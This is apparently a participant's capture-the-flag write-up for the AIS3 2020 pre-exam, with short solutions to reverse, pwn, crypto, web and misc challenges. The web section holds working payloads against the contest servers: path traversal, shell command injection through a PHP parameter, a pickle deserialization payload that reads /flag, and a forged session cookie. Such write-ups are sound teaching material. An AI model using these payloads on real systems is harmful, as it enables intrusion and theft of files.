---
# System prepended metadata

title: AIS3 2020 pre-exam

---

# AIS3 2020 pre-exam

https://pre-exam.ais3.org/

flag 形式為 `AIS3{printable_ascii}`

<style>
code, kbd, pre, samp {
    font-family: 'Fira Mono', Cousine, Inconsolata, monospace;
}
</style>

---

# :space_invader: Reverse

## TsaiBro

Reverse by Ghidra:

```c
  if (argc == 1) {
    printf("./TsaiBro string");
  }
  else {
    puts("Terry...逆逆...沒有...學問...單純...分享...個人...生活...感觸...");
    cnt = 0;
    while (nchars = strlen(argv[1]), (ulong)(long)cnt < nchars) {
      lookup = 0;
      while (lookup < 0x40) {
        if (table[lookup] == argv[1][cnt]) {
          uVar3 = (uint)(lookup >> 0x1f) >> 0x1d;  // const zero
          iVar2 = lookup;
          if (lookup < 0) {  // dead condition
            iVar2 = lookup + 7;
          }
          printf("發財%.*s發財%.*s",(ulong)((iVar2 >> 3) + 1),"..........",
                 (ulong)(((lookup + uVar3 & 7) - uVar3) + 1),"...........");
          break;
        }
        lookup = lookup + 1;
      }
      cnt = cnt + 1;
    }
  }
```

## Stand up Brain!

The input is 6 characters, and will be checked according to a brainf*ck program at 0x301020.

After some guessing, the correct input turns out to be `C8763!`.

## Fallen beats

* Decompile; export the code from JD-GUI
* Modify `GameControl.java`, change two place where the combo is zeroed to "adding combo" instead.
* Recompile. Play it again without touching the keyboard. Full combo get.

## Long Island Iced Tea

From the code, only the first 8 bytes are clobbered. The `flag` file provided reveals almost all the real flag already. The first few characters are meant to be `AIS3{`, so we only need to bruteforce 3 characters (~85k combinations). A little bit dirty but still affordable if you have some spare machines.

---

# :computer: Pwn

## bof

Cliche. Jump to `0x400688` to get shell.

```
00400687 55              PUSH       RBP
00400688 48 89 e5        MOV        RBP,RSP
0040068b 48 8d 3d        LEA        RDI,[DAT_004007c8]                               = 73h    s
         36 01 00 00
00400692 e8 d9 fe        CALL       system                                           int system(char * __command)
         ff ff
00400697 90              NOP
00400698 5d              POP        RBP
00400699 c3              RET
```

## nonsense

No PIE, No NX. 0x60 (+ 0x10 bytes) for placing shellcode.

Check function: Before the string `wubbalubbadubdub`, any character that is < 32 or > 128 will be rejected.

Solution: near jump 32 bytes + magic string + padding + amd64 exec

Special thanks to:
* http://ref.x86asm.net/coder64.html
* https://defuse.ca/online-x86-assembler.htm#disassembly

---

# :key: Crypto

## Brontosaurus

> is this really a crypto???

https://artis24106.github.io/notebook/CTF/AIS3PreExam2019/Misc/KcufsJ/

```javascript
const cip = '......'
const val = Array.from(cip).reverse().join('')
const flag = eval(val)
```

## T-Rex

Simply a substitution table, Column -> row.

## Blowfish

Flow:

* A pickle is provided, a dict of user/pwd entries with no admins.
* Every session, (key, iv) is randomly generated, encrypting that pickle by blowfish in CTR mode (192 bytes result), b64 and returned as token.
* Then the user is prompted to enter a token and try to decrypt by the original (key, iv) setup.
* if successfully decrypted, that pickle is deserialized and check if corresponding user has admin attribute set.
* if the user is admin, flag is shown.

Q: If blowfish is flawless, the only way to pass a valid token is to pass the original one. Do we need to trick blowfish?

A: **Nope.** In CTR mode decryption, the plain text is retrieved by xor-ing decrypted (IV+counter), which allows to do bit flippings. Inspired by [this](https://stackoverflow.com/a/50149988/2281355).

## Octopus

Implement BB84 key exchange function to compute the `bit_stream`, and then xor with the result to get the flag.

Reference: https://en.wikipedia.org/wiki/BB84.

---

# :earth_asia: Web

## Shark

Banned by WAF:

* `../`...
* `/`...


But `path=~/../../../..` can be used to traverse in the filesystem.

Use `/etc/hosts` to know that we are at `172.22.0.3` (a docker, haha). It is tempting to try https://shark.ais3.org/?path=http://172.22.0.2/flag.

## Squirrel

See the output of https://squirrel.ais3.org/api.php?get=/proc/self/cmdline:

`{"output":"cat\u0000\/proc\/self\/cmdline\u0000"}`

This (PHP) script is calling `cat` to print data.

Secondly:

`curl https://squirrel.ais3.org/api.php?get=/proc/self/cmdline%00`

```html
<b>Warning</b>:  shell_exec(): NULL byte detected. Possible attack in <b>/var/www/html/api.php</b> on line <b>6</b><br />
```

can dump out the source!!

```php
<?php
...
if ($file = @$_GET['get']) {
    $output = shell_exec("cat '$file'");
    
    ...
```

Whoa we can do cmd injections!

```
https://squirrel.ais3.org/api.php?get=/dev/null%27;ls%20/;%27
https://squirrel.ais3.org/api.php?get=/5qu1rr3l_15_4_k1nd_0f_b16_r47.txt
```

## Elephant

Inspired by the hidden contents, find https://elephant.ais3.org/.git/HEAD readable and use scrabble to download the source.

`strcmp` trick! Serialize a user object with token `false`.

## Snake

Python. When a unpickled object satisfies `a and not a`, the flag will be read. I cannot come up with such an object, but bypassing it is easy. I think it's a weaken problem.

```python
class C():
    def __reduce__(self):
        return (subprocess.check_output, (['cat', '/flag'],))
```

## Rhino

JavaScript suggests "package.json" (actually `robots.txt` can help).

Reproduce the environment by downloading `chill.js`, `package.json`, `package-lock.json`. Manually add to see what cookie it gives us:

```javascript=
app.get('/flag.txt', (req, res) => {
  res.setHeader('Content-Type', 'text/plain');

  if (req.session.magic == null) {
    req.session.magic = 1e-18;
  }
  
  ...
```

Where `1e-18` is a non-zero value that satisfies `n && n + 420 === 420`.

The payload:

```
curl https://rhino.ais3.org/flag.txt \
-H "Cookie: express:sess=eyJtYWdpYyI6MWUtMTh9; \
express:sess.sig=jPC94vSRgp1ulVDOqw7UsZWELYg;"
```

---

# :game_die: Misc

## Piquero

Tip: Braille Translator

```
⠠⠁⠠⠊⠠⠎⠼⠉⠐⠸⠠⠊⠨⠤⠋⠑⠑⠇⠨⠤⠎⠇⠑⠑⠏⠽⠨⠤⠠⠛⠕⠕⠙⠨⠤⠠⠝⠊⠛⠓⠞⠖⠖⠖⠐⠸
```

```
AIS3⠐⠸I⠨-feel⠨-sleepy⠨-Good⠨-Night!!!⠐⠸
```

which is appearently

```
AIS3{I_feel_sleepy_Good_Night!!!}
```

## Karuego

Tip: binwalk/foremost+stegsolve

This png has an encrypted zip archive embedded.

LSB is almost all zero. Suspicious. Extract LSBs from RGB:

```
546865206b657920 6973203a206c6166  The key  is : laf
6972650000000000 0000000000000000  ire..... ........
0000000000000000 0000000000000000  ........ ........
```

And inflating that ZIP. The flag is written on one of the images.

`AIS3{Ar3_y0u_r34l1y_r34dy_t0_sumnn0n_4_D3m0n?}`

## Soy

Tip: https://merricx.github.io/qrazybox/

Recover by hand, and then feed into the raw Reed-Solomon Decoder.

`AIS3{H0w_c4n_y0u_f1nd_me?!?!?!!}`

## Saburo

An ordinary timing attack.

## Shichirou

Create a symlink to `../flag.txt` naming `guess.txt`. Tar. Done.
